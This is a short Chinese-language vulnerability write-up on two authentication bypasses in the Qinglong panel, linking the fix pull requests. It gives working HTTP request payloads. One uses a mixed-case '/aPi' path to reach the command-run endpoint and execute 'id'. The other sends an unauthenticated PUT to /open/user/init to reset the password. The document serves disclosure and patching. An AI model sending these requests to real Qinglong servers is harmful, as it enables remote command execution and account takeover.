主要是两处鉴权漏洞
第一处
自定义的鉴权仅判断不为小写的/open或/api就直接放行,而Express 默认大小写不敏感导致绕过,修复方式如下
https://github.com/whyour/qinglong/pull/2935


1 2 3 4 5 6 7
| PUT /aPi/system/command-run HTTP/1.1 Host: 192.168.211.181:5700 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36 Content-Type: application/json Content-Length: 16
{"command":"id"}
|
第二处
由于初始化白名单未考虑/open路径,而后续重写会将/open转化为/api导致可以重置用户密码
https://github.com/whyour/qinglong/pull/2941/changes


1 2 3 4 5 6 7 8
| PUT /open/user/init HTTP/1.1 Host: 192.168.211.181:5700 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Connection: keep-alive
{"username":"user","password":"user123"}
|